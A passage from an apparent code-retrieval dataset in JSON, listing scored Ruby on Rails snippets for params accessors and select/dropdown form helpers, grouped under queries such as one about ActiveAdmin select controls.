"6008e8707eafce375988b3c7ccf098c3", "score": "0.68092775", "text": "def original_params; end", "title": "" }, { "docid": "113884d2c8b958811c1b03a6fd7c069d", "score": "0.6800438", "text": "def request_params( params = {} )\n params\n end", "title": "" }, { "docid": "b4ac8bc6941a87425ac2dc42a226295f", "score": "0.67999023", "text": "def filtered_params_config; end", "title": "" }, { "docid": "a3962ad4d4638f46b96dcaacaab3fabf", "score": "0.67995775", "text": "def params\r\n @params || {}\r\n end", "title": "" }, { "docid": "0c721e76bef86f82cebc6c5cbb3cebc8", "score": "0.67916626", "text": "def params; @params ||= destructure(request.params); end", "title": "" }, { "docid": "0c721e76bef86f82cebc6c5cbb3cebc8", "score": "0.67916626", "text": "def params; @params ||= destructure(request.params); end", "title": "" }, { "docid": "7a68714ad4aef7f9c025ff0c09f799e5", "score": "0.6789832", "text": "def Params(requireds, optionals, rest, posts, keywords, keyword_rest, block); end", "title": "" }, { "docid": "0c6e8c665610304eaa73ef7493de7628", "score": "0.6784529", "text": "def params\n @params\n end", "title": "" }, { "docid": "940de28f2392a4e93d9c3c11d3e6ab70", "score": "0.677835", "text": "def get_params\n full_raw_url.scan(/(:\\w+)/).map {|k| k[0].gsub(\":\", \"\").to_sym }\n end", "title": "" }, { "docid": "6de7a6312ec21facc1b0624653596a86", "score": "0.67768854", "text": "def query_parameters\n end", "title": "" }, { "docid": "6b48b65e26460eb891218bbd7c904d7c", "score": "0.67766035", "text": "def rails_params; end", "title": "" }, { "docid": "a3dc8b6db1e6584a8305a96ebb06ad21", "score": "0.6772107", "text": "def need_params\n end", "title": "" }, { "docid": "d2694237c09c1972586d6bd06f81193a", "score": "0.6766883", "text": "def params\n params = @params.clone\n params[:countries] = params[:countries].join(\",\")\n params[:sources] = params[:sources].join(\",\")\n params.reject { |k, v| v.nil? }\n end", "title": "" }, { "docid": "4dca9d0e8d2b7ae7871144ff5c8c469c", "score": "0.67585874", "text": "def params=(_); end", "title": "" }, { "docid": "4dca9d0e8d2b7ae7871144ff5c8c469c", "score": "0.67585874", "text": "def params=(_); end", "title": "" }, { "docid": "4dca9d0e8d2b7ae7871144ff5c8c469c", "score": "0.67585874", "text": "def params=(_); end", "title": "" }, { "docid": "6c6eeff86bb00662aae62b6fc02b0386", "score": "0.67584676", "text": "def params \n @params ||= Waves::Request::Query.new( captured ? \n request.query.merge( captured.to_h ) : request.query ) \n end", "title": "" }, { "docid": "23dbc1dc44ab478366853d4caffefd03", "score": "0.675758", "text": "def walk_params\n \n end", "title": "" }, { "docid": "accf75a47d7bab55288b889f8763b423", "score": "0.67396706", "text": "def params\n\treturn @params\n end", "title": "" }, { "docid": "17f4a82985988162eedbc0446dca88f7", "score": "0.67325956", "text": "def raw_params(auth); end", "title": "" }, { "docid": "61dbb44d8c79ea3b9e92b496bf8354a4", "score": "0.67207783", "text": "def params\n @params\n end", "title": "" }, { "docid": "13375ecab781ad3c87e987814c5311ad", "score": "0.67112195", "text": "def request_parameters; end", "title": "" }, { "docid": "bef32438a3b48a9efd7dea9c7ea36e2b", "score": "0.6699226", "text": "def params\n {\n name: name,\n shortname: shortname,\n longname: longname,\n starts_sundown: starts_sundown,\n }\n end", "title": "" }, { "docid": "2b18494c4ac56fdd747cee2e8038756b", "score": "0.6696962", "text": "def build_params\n if controller.respond_to?(params_method_name, true) && !get_request?\n controller.send(params_method_name)\n else\n {}\n end\n end", "title": "" }, { "docid": "725e389c97d779bdeca55c5fd9d23436", "score": "0.6683405", "text": "def params\n @params\n end", "title": "" }, { "docid": "725e389c97d779bdeca55c5fd9d23436", "score": "0.6683405", "text": "def params\n @params\n end", "title": "" }, { "docid": "e8658722fc0513ee1a976a319c95e30e", "score": "0.66685516", "text": "def params\n normalize_params(\n read_attribute(:params)\n )\n end", "title": "" }, { "docid": "bf71f22b6a3d024d9581258c3391dd13", "score": "0.66604", "text": "def filter_params(params); end", "title": "" }, { "docid": "e1c05c0440ff31c1549d30bdf0c85d02", "score": "0.66596824", "text": "def params\n REQUEST_PARAMETERS.inject({}) do |parameters, parameter|\n parameters[parameter] = eval(\"self.#{parameter}\") unless eval(\"self.#{parameter}.nil?\")\n parameters\n end\n end", "title": "" }, { "docid": "3e0f979898154265a832d1d1c9612156", "score": "0.6653583", "text": "def clean_params(params); end", "title": "" }, { "docid": "2824d3cecaf24bae1e15940382b95a52", "score": "0.6652689", "text": "def make_params\r\n raise 'must be implemented in subclasses'\r\n end", "title": "" }, { "docid": "e5fe7ff9a35d88678ff7fc7124ceb2cb", "score": "0.66480976", "text": "def build_params\n self._format('json') unless @params[:_fmt]\n self._rt('b') unless @params[:_rt]\n URI.encode_www_form(@params)\n end", "title": "" }, { "docid": "cf405a05f155a182941a962f77c5b0a0", "score": "0.6645262", "text": "def insect_params\n base_params\n end", "title": "" }, { "docid": "8b931bb20d38a644aae5f3b39938a1cb", "score": "0.66408306", "text": "def params=(_arg0); end", "title": "" }, { "docid": "8b931bb20d38a644aae5f3b39938a1cb", "score": "0.66408306", "text": "def params=(_arg0); end", "title": "" }, { "docid": "8b931bb20d38a644aae5f3b39938a1cb", "score": "0.66408306", "text": "def params=(_arg0); end", "title": "" }, { "docid": "8b931bb20d38a644aae5f3b39938a1cb", "score": "0.66408306", "text": "def params=(_arg0); end", "title": "" }, { "docid": "0895cd6a4a93bc84c2fb39ad17330602", "score": "0.66377217", "text": "def params_str\n @params_str ||= parse_params_str\n end", "title": "" }, { "docid": "82558a5b9782070b3ebfd0fae98ebf19", "score": "0.6630574", "text": "def query ; @request.params ; end", "title": "" }, { "docid": "82558a5b9782070b3ebfd0fae98ebf19", "score": "0.6630574", "text": "def query ; @request.params ; end", "title": "" }, { "docid": "300f1e4f03f0a8826c5ba332f01dcae9", "score": "0.6629665", "text": "def params\n read_attribute(:params) || begin \n write_attribute(:params, {} )\n read_attribute(:params)\n end\n end", "title": "" }, { "docid": "0b8d3cef97ea40628cf330bcddc00dd2", "score": "0.6623955", "text": "def params\n return @params\n end", "title": "" }, { "docid": "ebef11bbc97edeccd34658fe0d4393a9", "score": "0.6617886", "text": "def mechanic_params\n\n end", "title": "" }, { "docid": "777aa2e05c643f662b6db47b1221b816", "score": "0.6617721", "text": "def parameterize_params(params)\n params.inject(\"\"){|string, (k, v)| string << \"#{k}=#{v}\"; string << \"&\"; string}[0..-2]\n end", "title": "" }, { "docid": "cdb7ccc9150c5ccfec2131f30bf02703", "score": "0.66166985", "text": "def params\n ctx['derailleur.params']\n end", "title": "" } ]
4dc68344b2b630bf45c4bca724870435
added for ActiveAdmin select controls probably a more eloquent way to put this...
[ { "docid": "576d1bd52ca0b4e3edcf17fb6a1fb9ef", "score": "0.0", "text": "def to_s\n !human_name.empty? ? human_name : name.capitalize\n end", "title": "" } ]
[ { "docid": "1b03720ce75e8993fd6eb9a897620d61", "score": "0.7712113", "text": "def select_options; end", "title": "" }, { "docid": "8775d9d32dbf698427637c08b00d9c6d", "score": "0.71022874", "text": "def wiz_select_type\n \n end", "title": "" }, { "docid": "bc9eaeee324923868ab48cfbcacb2143", "score": "0.706756", "text": "def selected_options; end", "title": "" }, { "docid": "d902f3d5f2b3f1b916f327c2b8fcd679", "score": "0.70188814", "text": "def record_select_select\n end", "title": "" }, { "docid": "d4cb4c49a6b01437af631867960922ab", "score": "0.6830051", "text": "def my_select\n end", "title": "" }, { "docid": "626a06fe076a1f5437af52480d00c5a1", "score": "0.67225856", "text": "def id_select; end", "title": "" }, { "docid": "ea31d4d2609861c8fe2e599c9a448027", "score": "0.6513777", "text": "def select_option\n base.select_option\n end", "title": "" }, { "docid": "aa76e7a36a001c454d21712faaa4dda6", "score": "0.64986825", "text": "def select_before; end", "title": "" }, { "docid": "aa76e7a36a001c454d21712faaa4dda6", "score": "0.64986825", "text": "def select_before; end", "title": "" }, { "docid": "9eadf3f574c3689307ac041c31517863", "score": "0.6471166", "text": "def select_options=(_arg0); end", "title": "" }, { "docid": "cc0104911fabe5090b3a42164384a118", "score": "0.64428145", "text": "def select_with_empty(form, object, attribute, values, id, method)\n\t\t# id du select = role_father_id\n\t\tselect_id = object.model_name+'_'+attribute.to_s\n\t\thtml = \"<p>#{t(:label_select_active)}</p>\"\n\t\thtml += check_box_tag(:select_active, \"no\", \"false\", :onclick=>\"selectActive(this, '#{select_id}'); return true;\")\n\t\thtml += form.collection_select(attribute, values, id, method)\n\t\thtml\n\tend", "title": "" }, { "docid": "6831f1e1527df30ebb202f4c24d24141", "score": "0.6417037", "text": "def format_select\n @attr[:disabled] = :disabled\n super\n end", "title": "" }, { "docid": "374a0be3582877aca9aa98cd217b3de1", "score": "0.637561", "text": "def pre_render\n surround_field select_field_html_tag\n end", "title": "" }, { "docid": "953dc950429c13234ad2960824dfe230", "score": "0.63480884", "text": "def collection_name\n 'select_fields'\n end", "title": "" }, { "docid": "059fecd6aec94e67a62f82368efde268", "score": "0.63322705", "text": "def fill_in_and_select(value, options)\n options[:visible] = false\n select value, options\nend", "title": "" }, { "docid": "59492caa2b785136fdbd41a0defa8291", "score": "0.63027257", "text": "def select_all_options()\n end", "title": "" }, { "docid": "ddcd7d1dc5c1cb004c18edd97a1729ea", "score": "0.62289774", "text": "def record_select_conditions_from_controller; end", "title": "" }, { "docid": "ddcd7d1dc5c1cb004c18edd97a1729ea", "score": "0.62289774", "text": "def record_select_conditions_from_controller; end", "title": "" }, { "docid": "76a0f6f25ca235fca599a31a2abb482d", "score": "0.62073594", "text": "def options_for_select\n @attributes[:options_for_select]\n end", "title": "" }, { "docid": "2ed653891ccf6e23b2ba44f236c9d47e", "score": "0.6195476", "text": "def after_save; model.reset_dropdown_cache; super; end", "title": "" }, { "docid": "daaf00ed38366f77ece760eb6a955e3b", "score": "0.6192612", "text": "def select\n user_specified_options[:select]\n end", "title": "" }, { "docid": "093dafdc1a2f7532aae429a868cd7056", "score": "0.6191952", "text": "def select_control(col, attrs = {})\n attrs.merge!(:name => attrs[:name] || control_name(col))\n attrs.merge!(:id => attrs[:id] || control_id(col))\n attrs.merge!(:selected => attrs[:selected] || control_value(col))\n errorify_field(attrs, col)\n optional_label(attrs) { select_field(attrs) }\n end", "title": "" }, { "docid": "94506d3f34f38deff84299780a3df26b", "score": "0.617937", "text": "def item_types_select\n h.item_types_select\n end", "title": "" }, { "docid": "d946ee3f7fc1bfb352ceff8a002647dd", "score": "0.6179279", "text": "def selector_mtf; end", "title": "" }, { "docid": "d946ee3f7fc1bfb352ceff8a002647dd", "score": "0.6179279", "text": "def selector_mtf; end", "title": "" }, { "docid": "90b671245a252058587b29c6795af0ee", "score": "0.61343247", "text": "def collection_select(method,\n collection,\n value_method,\n text_method,\n options = {},\n html_options = {})\n process_options(method, options)\n process_width(options) { super }\n end", "title": "" }, { "docid": "3b67f754981dbcd592cd9a754e04cdbf", "score": "0.6111665", "text": "def selected?; end", "title": "" }, { "docid": "3b67f754981dbcd592cd9a754e04cdbf", "score": "0.6111665", "text": "def selected?; end", "title": "" }, { "docid": "3b67f754981dbcd592cd9a754e04cdbf", "score": "0.6111665", "text": "def selected?; end", "title": "" }, { "docid": "727813b920ae3b078129cd122ae152c6", "score": "0.60690975", "text": "def select_field_methods label, id, type\n field_label = label.ams_layout_snakecase\n field_id = '#' + id\n\n text =<<TEXT\n\n def #{field_label}=(value)\n if get_selected_option('#{field_id}') != value\n super(value)\n # else skip sending the value.\n end\n end\nTEXT\n end", "title": "" }, { "docid": "deab3273fbd28a9b4065781b560928aa", "score": "0.6063593", "text": "def set_Select(value)\n set_input(\"Select\", value)\n end", "title": "" }, { "docid": "82e63b1b9c9f341d3b797b535dec670f", "score": "0.60512143", "text": "def get_drop_down_options_tea_bases\n val = params[:id]\n #Use val to find records\n @tea_bases = ServingStyle.find(val).tea_bases\n options = @tea_bases.collect{|x| \"'#{x.id}' : '#{x.name}'\"} \n render :text => \"{#{options.join(\",\")}}\" \n end", "title": "" }, { "docid": "1ecc822068425e6d860b2e905dee90c7", "score": "0.6039729", "text": "def preselect; end", "title": "" }, { "docid": "86a166640b04ace7d1b4f60504cf7722", "score": "0.6036784", "text": "def collection_select(object, method, collection, value_method, text_method, options = {}, html_options = {})\n html_options = add_cssclass_for_select(html_options)\n super\n end", "title": "" }, { "docid": "acac3856c44fa228fb6e732d449de95d", "score": "0.6013919", "text": "def program_program_name_search_combo_changed\n program_name = get_selected_combo_value(params)\n session[:program_search_form][:program_name_combo_selection] = program_name\n @functional_area_names = Program.find_by_sql(\"Select distinct functional_area_name from programs where program_name = '#{program_name}'\").map { |g| [g.functional_area_name] }\n @functional_area_names.unshift(\"<empty>\")\n\n#\trender (inline) the html to replace the contents of the td that contains the dropdown \n render :inline => %{\n\t\t<%= select('program','functional_area_name',@functional_area_names)%>\n\n\t\t}\n\n end", "title": "" }, { "docid": "7aab5f42f7123ebc28378362b039ff4a", "score": "0.60084945", "text": "def select_field(attrs = {})\n collection = attrs.delete(:collection)\n option_attrs = {\n :prompt => attrs.delete(:prompt),\n :selected => attrs.delete(:selected),\n :include_blank => attrs.delete(:include_blank),\n :text_method => attrs.delete(:text_method),\n :value_method => attrs.delete(:value_method)\n }\n optional_label(attrs) { open_tag('select', attrs) + options_from_collection_for_select(collection, option_attrs) + \"</select>\"}\n end", "title": "" }, { "docid": "c0955d994f2e25aa1f25f712c0579b0a", "score": "0.6004378", "text": "def select=(value)\n @select = value\n end", "title": "" }, { "docid": "c9781d720719af6f08a721cce5a299fc", "score": "0.5976313", "text": "def inventory_codes_organization_short_description_search_combo_changed\n\tshort_description = get_selected_combo_value(params)\n\t@inventory_codes = InventoryCodesOrganization.find_by_sql(\"Select distinct inv_code from inventory_codes_organizations where short_description = '#{short_description}'\").map{|g|[g.inv_code]}\n\t@inventory_codes.unshift(\"<empty>\")\n\n#\trender (inline) the html to replace the contents of the td that contains the dropdown \n\trender :inline => %{\n\t\t<%= select('inventory_codes_organization','inv_code',@inventory_codes)%>\n\n\t\t}\n\nend", "title": "" }, { "docid": "9735d55f0fb6bd917cb7b786e6fea4d0", "score": "0.59702843", "text": "def collection_select(attribute, collection, value_method, text_method, options = {}, html_options = {})\n form_field(attribute, options) do\n content_tag(:div, class: \"select is-fullwidth\") do\n super(attribute, collection, value_method, text_method, options, html_options)\n end\n end\n end", "title": "" }, { "docid": "388b95dd7c7351bfbf4cb868e35e787f", "score": "0.59628946", "text": "def select_options(type, request)\n all_rows_for(type, request).map{|obj| [object_display_name(type, request, obj), primary_key_value(obj)]}\n end", "title": "" }, { "docid": "b962e4cfc40bca54c3676598dda77efc", "score": "0.5962697", "text": "def email_options_for_select\n options_for_select(email_options_collection)\n end", "title": "" }, { "docid": "fa96e3bd2d6dc3f4cf1dd27c57fcebad", "score": "0.5959231", "text": "def emit_selector(options={})\n removable = options.fetch(:removable, true)\n selected = options.fetch(:selected, nil)\n %{\n <div>\n <select class=\"has_many_ctl\" name=\"#{rel.name}[]\" id=\"#{control_id}\" #{emit_style}#{emit_disabled}>\n <option value=\"\">None</option>\n #{options(:labels => all_items.map{|o| o.to_s}, :values => all_items.map{|o| o.pk}, :selected => selected)}\n </select>\n <input type=\"button\" class=\"#{rel.name}_remove_btn\" value=\" - \" onclick=\"rm_#{rel.name}_rel(this);\" #{'disabled=\"disabled\"' unless removable} />\n <input type=\"button\" class=\"#{rel.name}_add_btn\" value=\" + \" onclick=\"add_#{rel.name}_rel(this);\"#{emit_disabled} />\n </div>\n }\n end", "title": "" }, { "docid": "b8e3999b958c0427cde35abb309d1f94", "score": "0.59408903", "text": "def setup_listing_select_fields\n set_listing_form_list_data\n represent_inherited_data_in_form\n end", "title": "" }, { "docid": "465603817877c8e22ad38516891bbfda", "score": "0.59387845", "text": "def state_form_column(record, field_name)\n list = State.all_states.collect {|s| [s.name, s.id]}\n list.unshift([\"- select -\", \"\"])\n select_tag field_name, options_for_select(list, selected = elem_select(record.state))\n end", "title": "" }, { "docid": "81c5aed02e8b2a7f90c745bf770d7569", "score": "0.5930394", "text": "def select *fields\n @options[:select] = fields\n end", "title": "" }, { "docid": "601c0852b34273b945f62721529794a0", "score": "0.59198993", "text": "def organization_party_type_name_changed\n\tparty_type_name = get_selected_combo_value(params)\n\tsession[:organization_form][:party_type_name_combo_selection] = party_type_name\n\t@party_names = Organization.party_names_for_party_type_name(party_type_name)\n#\trender (inline) the html to replace the contents of the td that contains the dropdown \n\trender :inline => %{\n\t\t<%= select('organization','party_name',@party_names)%>\n\n\t\t}\n\nend", "title": "" }, { "docid": "aeaa4586c229b5e4174d3d1f7df00cc7", "score": "0.59184164", "text": "def build_inactive_select(table_name, options = {})\n define_method(:\"for_select_inactive_#{options[:alias] || table_name}\") do\n dataset = DB[table_name].exclude(:active)\n lbl = options[:label] || options[:value]\n val = options[:value]\n lbl == val ? select_single(dataset, val) : select_two(dataset, lbl, val)\n end\n end", "title": "" }, { "docid": "ecaf23b5e1ba697f1e8546ba6d801047", "score": "0.5909554", "text": "def campo_dropdown(form, nombre, opciones, html_options)\n hash_select = { prompt: opciones[:prompt], include_blank: opciones[:include_blank] }\n hash_select = hash_select.merge(selected: opciones[:selected]) if opciones[:selected] # Necesario si el id no es de tipo numérico, habrá que hacerle \"to_i\"\n if opciones[:agrupar_por]\n form.grouped_collection_select(nombre, opciones[:agrupar_por], opciones[:datos], :nombre, :id, :nombre, opciones, html_options)\n else\n form.collection_select(nombre, opciones[:datos], :id, :nombre, hash_select, html_options )\n end\n end", "title": "" }, { "docid": "6ab99e76c9240c848168a4660ea4ce55", "score": "0.59027594", "text": "def organizations_target_market_short_description_search_combo_changed\n\tshort_description = get_selected_combo_value(params)\n\tsession[:organizations_target_market_search_form][:short_description_combo_selection] = short_description\n\t@target_market_names = OrganizationsTargetMarket.find_by_sql(\"Select distinct target_market_name from organizations_target_markets where short_description = '#{short_description}'\").map{|g|[g.target_market_name]}\n\t@target_market_names.unshift(\"<empty>\")\n\n#\trender (inline) the html to replace the contents of the td that contains the dropdown \n\trender :inline => %{\n\t\t<%= select('organizations_target_market','target_market_name',@target_market_names)%>\n\n\t\t}\n\nend", "title": "" }, { "docid": "ea9015678cc92d241fa9dc420ea3b34b", "score": "0.5895605", "text": "def filter_by args, path = \"/admin/#{controller_name}\" \n options = args[:options].map { |option| \n [option,\"#{args[:model]}-#{args[:field]}-#{option.downcase}\"]\n }\n \n options = options_for_select([[\"All\",\"#{args[:model]}-#{args[:field]}-all\"]] + options,session[:filter_by])\n \"View By #{args[:model].singularize.titlecase}: “#{args[:field].titlecase}” <select onchange='return Wilderness.filter(this,\\\"#{path}\\\");'>#{options}</select>\"\n end", "title": "" }, { "docid": "700f05d77397b1ca0f91fc68dd0ee8e8", "score": "0.5889948", "text": "def display_selected\nend", "title": "" }, { "docid": "b80607397c36b24259860e483444178e", "score": "0.5889203", "text": "def inspection_type_inspection_type_code_search_combo_changed\n\tinspection_type_code = get_selected_combo_value(params)\n\tsession[:inspection_type_search_form][:inspection_type_code_combo_selection] = inspection_type_code\n\t@grade_codes = InspectionType.find_by_sql(\"Select distinct grade_code from inspection_types where inspection_type_code = '#{inspection_type_code}'\").map{|g|[g.grade_code]}\n\t@grade_codes.unshift(\"<empty>\")\n\n#\trender (inline) the html to replace the contents of the td that contains the dropdown \n\trender :inline => %{\n\t\t<%= select('inspection_type','grade_code',@grade_codes)%>\n\n\t\t}\n\nend", "title": "" }, { "docid": "70a46486e8178f4ba992ba5b9fa781e7", "score": "0.5869118", "text": "def selection\n end", "title": "" }, { "docid": "188d1289cf395b7267f4192c706f19e5", "score": "0.58682036", "text": "def multiselect\n \"multiselect: true,\"\n end", "title": "" }, { "docid": "5665272c62c41b11fa7b434b8a9a58a1", "score": "0.5865364", "text": "def select_options\n @select.options\n end", "title": "" }, { "docid": "965ef70844996001d1c20a5061fda0d2", "score": "0.5843573", "text": "def select_value( item )\n select_item_in_select_list( :value , item )\n end", "title": "" }, { "docid": "965ef70844996001d1c20a5061fda0d2", "score": "0.5843573", "text": "def select_value( item )\n select_item_in_select_list( :value , item )\n end", "title": "" }, { "docid": "55f713cbaba8a71577e4b9ba65da9ecc", "score": "0.5841156", "text": "def element\n HTML.div(@attrib) { \n HTML.ul(:id => \"#{@options_name}_selected_options\") { \n if @value && @value.length > 0 then\n option_elements()\n end\n } + \n select_field().decorated_element\n }\n end", "title": "" }, { "docid": "acef7417ba2c5a3e9f7f9d5aa53e6d4a", "score": "0.5830935", "text": "def collection_select(field, collection, value_method, text_method, options={}, html_options={})\n label_class = (html_options.delete(:class) || 'field')\n @template.content_tag(\"label\",\n (html_options.delete(:label) || field.to_s.titleize) + super,\n :class => label_class,\n :for => [@object_name, field].join('_'))\n end", "title": "" }, { "docid": "435ec51293e0f5fc7b9e081e4382879f", "score": "0.58281183", "text": "def select; end", "title": "" }, { "docid": "67b142f17d957a915f6605628c7de51a", "score": "0.5827732", "text": "def apphelp_collection_select( form, objfield, collection, colsetfield, colseefield, multiple = true )\n return form.collection_select(\n objfield,\n collection,\n colsetfield,\n colseefield,\n multiple ? {} : { :include_blank => 'None' },\n apphelp_extra_selection_args( collection, multiple )\n )\n end", "title": "" }, { "docid": "792d2f8183741a58e05cb4e6977ae3f1", "score": "0.5811593", "text": "def parties_role_party_type_name_changed\n\tparty_type_name = get_selected_combo_value(params)\n\tsession[:parties_role_form][:party_type_name_combo_selection] = party_type_name\n\t@party_names = PartiesRole.party_names_for_party_type_name(party_type_name)\n#\trender (inline) the html to replace the contents of the td that contains the dropdown \n\trender :inline => %{\n\n\t\t<%val = select('parties_role','party_name',@party_names)\n puts val\n return val %>\n\t\t}\n\nend", "title": "" }, { "docid": "942eee69a3514aafd6aaa093f8de4baf", "score": "0.5798717", "text": "def zurb_collection_select(method, collection, value_method, text_method, options = {}, html_options = {}) \n set_options(options) # If only :field set throws error when accessing :label, and vice versa.\n errors = get_field_errors(method)\n add_error_class_to(options) if errors.any?\n\n field = @template.label_tag(@object_name, \"#{options[:label][:label] || method.to_s.humanize}\",\n options[:label])\n field << @template.collection_select(@object_name, method, collection, value_method, text_method,\n objectify_options(options[:field]), @default_options.merge(html_options))\n\n errors.any? ? add_error_message(field, errors) : field\n end", "title": "" }, { "docid": "387105b0a69e1ea3c915b5faf8cf03e5", "score": "0.5795692", "text": "def get_combobox_options(params)\n column_name = params[:column]\n CONDITIONS.each { |c| column_name.sub!(/_#{c}$/, \"\") }\n super(:column => column_name)\n end", "title": "" }, { "docid": "0165bb1c537d26f5ff5f300ed3e7362c", "score": "0.5795355", "text": "def downtime_division_downtime_category_code_search_combo_changed\n\tdowntime_category_code = get_selected_combo_value(params)\n\tsession[:downtime_division_search_form][:downtime_category_code_combo_selection] = downtime_category_code\n\t@downtime_division_codes = DowntimeDivision.find_by_sql(\"Select distinct downtime_division_code from downtime_divisions where downtime_category_code = '#{downtime_category_code}'\").map{|g|[g.downtime_division_code]}\n\t@downtime_division_codes.unshift(\"<empty>\")\n\n#\trender (inline) the html to replace the contents of the td that contains the dropdown \n\trender :inline => %{\n\t\t<%= select('downtime_division','downtime_division_code',@downtime_division_codes)%>\n\n\t\t}\n\nend", "title": "" }, { "docid": "49de4fab9b6b1a4de715d1d8d25abea8", "score": "0.57928526", "text": "def label_options_edit(subjects,exam)\n options_from_collection_for_select(subjects, :id, :label, exam.subject_id)\n end", "title": "" }, { "docid": "11aa49f26e51dd688b2e278549874002", "score": "0.5790984", "text": "def field_select\n assert_privileges('miq_ae_field_edit')\n fields_get_form_vars\n @combo_xml = build_type_options\n @dtype_combo_xml = build_dtype_options\n session[:field_data] = {}\n @edit[:new_field][:substitute] = session[:field_data][:substitute] = true\n @changed = (@edit[:new] != @edit[:current])\n render :update do |page|\n page << javascript_prologue\n page.replace(\"class_fields_div\", :partial => \"class_fields\")\n page << javascript_for_miq_button_visibility(@changed)\n page << \"miqSparkle(false);\"\n end\n end", "title": "" }, { "docid": "86ff657290a4132206f4513f31500932", "score": "0.57892084", "text": "def keywords_wizard_select_new\n \n end", "title": "" }, { "docid": "4ec6572f001689cf990b157b3fc54242", "score": "0.57888216", "text": "def set_select_field\n @select_field = SelectField.find(params[:id])\n end", "title": "" }, { "docid": "2c3582654ca7d1464f7e6bf2b0b9cab4", "score": "0.5786301", "text": "def person_party_name_changed\n party_name = get_selected_combo_value(params)\n session[:person_form][:party_name_combo_selection] = party_name\n @party_type_ids = Person.party_type_ids_for_party_name(party_name)\n#\trender (inline) the html to replace the contents of the td that contains the dropdown \n render :inline => %{\n\t\t<%= select('person','party_type_id',@party_type_ids)%>\n\n\t\t}\n\n end", "title": "" }, { "docid": "3f12bfb4451582a9b72566a5f1efc85f", "score": "0.57850134", "text": "def season_season_code_search_combo_changed\n\tseason_code = get_selected_combo_value(params)\n\tsession[:season_search_form][:season_code_combo_selection] = season_code\n\t@commodity_codes = Season.find_by_sql(\"Select distinct commodity_code from seasons where season_code = '#{season_code}'\").map{|g|[g.commodity_code]}\n\t@commodity_codes.unshift(\"<empty>\")\n\n#\trender (inline) the html to replace the contents of the td that contains the dropdown \n\trender :inline => %{\n\t\t<%= select('season','commodity_code',@commodity_codes)%>\n\n\t\t}\n\nend", "title": "" }, { "docid": "9169ee3a40ecc4deb2607f1fdd0068f9", "score": "0.5773971", "text": "def switching_options; end", "title": "" }, { "docid": "9169ee3a40ecc4deb2607f1fdd0068f9", "score": "0.5773971", "text": "def switching_options; end", "title": "" }, { "docid": "9169ee3a40ecc4deb2607f1fdd0068f9", "score": "0.5773971", "text": "def switching_options; end", "title": "" }, { "docid": "2be8e961708364dc1ecaad8f78954be2", "score": "0.57712823", "text": "def get_combobox_options(params)\n column_name = params[:column]\n CONDITIONS.each { |c| column_name.sub!(/_#{c}$/, \"\") }\n super(:column => column_name)\n end", "title": "" }, { "docid": "75c4ce379f89c42978f03ff8fb3165c9", "score": "0.5763994", "text": "def showDropDown; end", "title": "" }, { "docid": "467963d806120d3874995b633f6cafde", "score": "0.5752968", "text": "def select_options_from_real_name\n template = params[:template] || \"shared/input/select\"\n model = params[:model]\n prefix = params[:prefix]\n candidates = params[:real_name].blank? ? nil : model.to_model.query_by_real_name(params[:real_name])\n select_options = candidates.blank? ? nil : \n candidates.map do |entity| \n [\"#{entity.real_name}(#{entity.name})\", entity.run_id] \n end\n \n render :partial => template, :locals => {:prefix => prefix, \n :select_options => select_options,\n :model => model}\n end", "title": "" }, { "docid": "d2e8d2154a38f7ed2d743922b0e0ae90", "score": "0.57448757", "text": "def select_options\n self.vehicle_check.select_options\n end", "title": "" }, { "docid": "9d28e83f0b4895c177432dde2e7b93e8", "score": "0.5743121", "text": "def edit_fields\n [ { :label => \"shortcut_mode\", :field_type => \"select_box\", \n :value => { :options => { I18n.t('admin.pages.shortcut_page.external_page') => \"external_page\", I18n.t('admin.pages.shortcut_page.internal_page') => \"internal_page\", \n I18n.t('admin.pages.shortcut_page.first_subpage') => \"first_subpage\", I18n.t('admin.pages.shortcut_page.random_subpage') => \"random_subpage\" } , \n :selected => mode } },\n { :label => \"ext_url\", :field_type => \"text_field\", :value => ext_url },\n { :label => \"shortcut_page_id\", :field_type => \"text_field\", :value => shortcut_page_id }]\n end", "title": "" }, { "docid": "83504e49c31886a0845f25db2bd0cdec", "score": "0.5740721", "text": "def select_options(attr)\n required?(attr) ? { :prompt => BLANK_SELECT_LABEL } : \n { :include_blank => StandardHelper::NO_ENTRY }\n end", "title": "" }, { "docid": "f77066f9551d184335104324c28f04a9", "score": "0.5734248", "text": "def select=(value)\n @select = value\n end", "title": "" }, { "docid": "de3828eda605c512ed3ce301887c391f", "score": "0.57280755", "text": "def retail_item_setup_pack_material_type_code_changed\n\tpack_material_type_code = get_selected_combo_value(params)\n\tsession[:retail_item_setup_form][:pack_material_type_code_combo_selection] = pack_material_type_code\n\t@pack_material_product_codes = Product.find_all_by_product_type_code_and_product_subtype_code(\"PACK_MATERIAL\",pack_material_type_code).map {|p|p.product_code}\n#\trender (inline) the html to replace the contents of the td that contains the dropdown \n\trender :inline => %{\n\t\t<%= select('retail_item_setup','pack_material_product_code',@pack_material_product_codes)%>\n\n\t\t}\n\nend", "title": "" }, { "docid": "c2358491bc6c442ecc1a047f1dee96ee", "score": "0.5727986", "text": "def option_for_select\n cond = []\n if model_class.column_names.include? 'is_active'\n cond << \"is_active=1\"\n end\n cond\n end", "title": "" }, { "docid": "ba72c804b77e7d192ea6756514d386ad", "score": "0.5727276", "text": "def no_options_field\n true\n end", "title": "" }, { "docid": "b07063730248de26554bc01c6e1b10f4", "score": "0.5726963", "text": "def prepare_select\n \t@cate_office = CategoryOffice.order(\"name\")\n \t@reg_office = Regional.order(\"name\")\n end", "title": "" }, { "docid": "a05221b7ebfc85f4b78056fe6a51b57e", "score": "0.5725685", "text": "def selection; end", "title": "" }, { "docid": "25fc77976ed947e151a7cec99844d115", "score": "0.57256484", "text": "def create_select_options(choice, collection, options={})\n options[:text] ||= 'name'\n options[:value] ||= 'id'\n options[:include_blank] = true if options[:include_blank].nil?\n options[:clear] ||= []\n pre = options[:include_blank] ? \"<option value=\"\">\"\"</option>\" : \"\"\n collection.each { |c| pre << \"<option value=#{c.send(options[:value])} #{\"selected=\\\"selected\\\"\" if choice == c.send(options[:value])}>#{c.send(options[:text])}</option>\" }\n pre\n end", "title": "" }, { "docid": "f2cadd7f37ebd04be5efcfe91a1d586b", "score": "0.5722373", "text": "def select_from_collection_with_selected(object, attr, collection, selected_value)\n <<-FINISH\n <select id=\"#{object}_#{attr}\" name=\"#{object}[#{attr}]\">\n #{options_for_select(collection, selected_value)}\n </select>\n FINISH\n end", "title": "" }, { "docid": "9693bacb8eb1ccf0548f67f4a9b821b1", "score": "0.5718583", "text": "def make_select(column)\n\t\tform_for(:users, url: user_path, id: \"select-form\", method: :get) do |f| \n\t\t\tcolumn_values = 